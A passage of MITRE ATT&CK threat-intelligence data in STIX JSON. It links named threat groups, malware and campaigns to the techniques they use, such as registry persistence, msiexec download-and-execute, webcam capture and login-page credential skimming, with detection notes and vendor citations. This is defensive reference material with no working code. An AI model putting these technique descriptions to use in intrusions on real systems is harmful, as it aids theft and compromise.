"2022-08-03T14:48:19.058Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SpecterOps Certified Pre Owned", "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.", "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}, {"source_name": "O365 Blog Azure AD Device IDs", "description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.", "url": "https://o365blog.com/post/deviceidentity/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-21T20:32:29.694Z", "description": "Monitor for attempts to access information stored in the Registry about certificates and their associated private keys. For example, user certificates are commonly stored under `HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\SystemCertificates`.(Citation: SpecterOps Certified Pre Owned)(Citation: O365 Blog Azure AD Device IDs)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", "target_ref": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2067a75-0d5d-4899-9d9f-6537d98296c1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:07:27.171Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can remotely activate the victim\u2019s webcam to capture content.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d207f54d-81c1-4b20-ba56-575fbdec2f03", "type": "relationship", "created": "2020-12-07T19:44:08.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-07T21:28:19.803Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) has used a hardcoded GitHub repository as a fallback channel.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d20b659b-3595-4171-9beb-668ab26bf398", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2019-03-22T19:57:37.318Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a batch script that adds a Registry Run key to establish malware persistence.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d20f3c5a-5987-4223-a97d-64ca0f1231ac", "type": "relationship", "created": "2021-09-29T22:24:15.608Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.608Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has collected data from a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d21527b8-a8c8-4c95-9061-21c49155232e", "type": "relationship", "created": "2020-03-30T20:18:09.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "source_name": "US-CERT TYPEFRAME June 2018"}], "modified": "2020-03-30T20:18:09.529Z", "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) has used ports 443, 8080, and 8443 with a FakeTLS method.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d216c395-ceb2-4103-8035-336a0821b79c", "type": "relationship", "created": "2021-03-23T20:49:40.319Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.319Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has discovered system information including memory status, CPU frequency, OS versions, and volume serial numbers.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d219ed2b-2877-450f-9a69-a30f36497d14", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist WhiteBear Aug 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", "url": "https://securelist.com/introducing-whitebear/81638/"}], "modified": "2020-03-17T01:22:43.629Z", "description": "[Gazer](https://attack.mitre.org/software/S0168) obtains the current user's security identifier.(Citation: Securelist WhiteBear Aug 2017)", "relationship_type": "uses", "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d220a65b-c4bf-4a23-b62d-6beb81eb646a", "type": "relationship", "created": "2021-03-25T14:18:38.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:20:26.082Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the msiexec.exe command-line utility to download and execute malicious MSI files.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2212e02-787a-4893-8ecd-d1ac6619bf9f", "type": "relationship", "created": "2020-09-09T15:57:51.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-09-09T15:57:51.730Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used the Stealer One credential stealer to target e-mail and file transfer utilities including FTP.(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2260326-b220-46e4-ba11-3f14ec89f45f", "type": "relationship", "created": "2022-01-10T19:52:49.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. 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(2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "source_name": "Symantec Elfin Mar 2019"}], "modified": "2019-06-28T15:05:33.935Z", "description": "(Citation: Symantec Elfin Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d22b326c-ceaf-424b-b263-e0830bab9bf3", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Securelist Calisto July 2018", "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. 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Retrieved July 7, 2021."}], "modified": "2021-09-14T21:50:06.544Z", "description": "[GuLoader](https://attack.mitre.org/software/S0561) has the ability to perform anti-debugging based on time checks, API calls, and CPUID.(Citation: Medium Eli Salem GuLoader April 2021)", "relationship_type": "uses", "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d236947c-849f-4f4f-9ee5-ab4b78d04ef6", "type": "relationship", "created": "2021-04-01T16:38:16.151Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest parti", "url": "https://objective-see.com/blog/blog_0x59.html", "description": "Patrick Wardle. (2020, June 29). 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(2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. 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(n.d.). Rclone syncs your files to cloud storage. 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Retrieved January 19, 2021."}], "modified": "2021-01-22T18:38:22.288Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used a Windows version of the Linux <code>touch</code> command to modify the date and time stamp on DLLs.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d27b805a-3570-434e-9ac7-e37407a4dd8e", "type": "relationship", "created": "2019-10-11T17:29:20.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList Griffon May 2019", "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", "description": "Namestnikov, Y. and Aime, F. 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Retrieved December 9, 2020.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"}, {"source_name": "ESET ComRAT May 2020", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T22:00:12.135Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) has embedded a XOR encrypted communications module inside the orchestrator module.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2825a04-d5c4-4598-aa3d-cb72cfe74ac4", "created": "2024-02-21T19:15:24.163Z", "revoked": false, "external_references": [{"source_name": "Secureworks GOLD SAHARA", "description": "Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.", "url": "https://www.secureworks.com/research/threat-profiles/gold-sahara"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-21T19:15:24.163Z", "description": "[Akira](https://attack.mitre.org/groups/G1024) uses compromised VPN accounts for initial access to victim networks.(Citation: Secureworks GOLD SAHARA)", "relationship_type": "uses", "source_ref": "intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2858dfa-504f-416d-8801-41a1a9561f22", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "aptsim", "description": "valsmith. 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Retrieved October 11, 2018.", "url": "https://twitter.com/cglyer/status/985311489782374400"}], "modified": "2020-03-27T20:16:14.163Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) enables the Remote Desktop Protocol for persistence.(Citation: aptsim) [APT3](https://attack.mitre.org/groups/G0022) has also interacted with compromised systems to browse and copy files through RDP sessions.(Citation: Twitter Cglyer Status Update APT3 eml)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2881846-1061-4f1e-a9bf-4dfc6a7e4b41", "created": "2024-03-06T18:26:48.392Z", "revoked": false, "external_references": [{"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T18:26:48.392Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors modified the JavaScript loaded by the Ivanti Connect Secure login page to capture credentials entered.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d289c197-78e6-4262-9163-201ef17b6f41", "created": "2024-01-22T19:30:40.603Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-22T19:30:40.603Z", "description": "[Pcexter](https://attack.mitre.org/software/S1102) has been distributed and executed as a DLL file named Vspmsg.dll via DLL side-loading.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--e4feffc2-53d1-45c9-904e-adb9faca0d15", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d295beee-439c-44f9-9908-4cb194331de9", "created": "2017-05-31T21:33:27.043Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Alperovitch 2014", "url": "https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/", "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "The [Deep Panda](https://attack.mitre.org/groups/G0009) group is known to utilize WMI for lateral movement.(Citation: Alperovitch 2014)", "modified": "2022-07-20T20:10:29.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d297b77f-9511-429a-b148-d7b8f0b5b502", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Tick Apr 2016", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}], "modified": "2020-03-17T23:46:10.823Z", "description": "[Daserf](https://attack.mitre.org/software/S0187) uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.(Citation: Symantec Tick Apr 2016)", "relationship_type": "uses", "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d29db5f7-25cb-49e3-81da-04263e32b65c", "created": "2022-04-13T15:57:57.700Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Twitter Ida Pro Nov 2021", "url": "https://twitter.com/ESETresearch/status/1458438155149922312", "description": "Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved March 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a scheduled task named `SRCheck` to mask the execution of a malicious .dll.(Citation: ESET Twitter Ida Pro Nov 2021)", "modified": "2022-04-13T15:57:57.700Z", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d29ff57c-2821-45e9-94b5-beb62f63f8ea", "created": "2022-09-26T15:34:25.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T15:39:21.651Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) has compressed collected files with zLib and encrypted them using an XOR operation with the string key from the command line or `qwerasdf` if the command line argument doesn\u2019t contain the key. File names are obfuscated using XOR with the same key as the compressed file content.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2a8729f-6271-46a0-8a40-a8567c9e5092", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", "source_name": "Symantec Leafminer July 2018"}], "modified": "2019-03-25T14:12:13.491Z", "description": "(Citation: Symantec Leafminer July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2aa3c9f-0f1f-49ff-81ef-94e229f7c6e2", "created": "2023-09-27T14:38:27.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Booz Allen Hamilton", "description": "Booz Allen Hamilton   When The Lights Went Out Retrieved. 2019/10/22 ", "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}, {"source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T17:03:24.267Z", "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) gathered account credentials via a [BlackEnergy](https://attack.mitre.org/software/S0089) keylogger plugin. (Citation: Booz Allen Hamilton)(Citation: Ukraine15 - EISAC - 201603)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2aaef64-8ec9-41f0-b071-a3d6ca487148", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Also, monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2af3e5e-29d8-4611-b295-126d4a9a87b1", "type": "relationship", "created": "2021-01-08T21:25:33.548Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}, {"source_name": "Proofpoint NETWIRE December 2020", "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", "description": "Proofpoint. (2020, December 2). 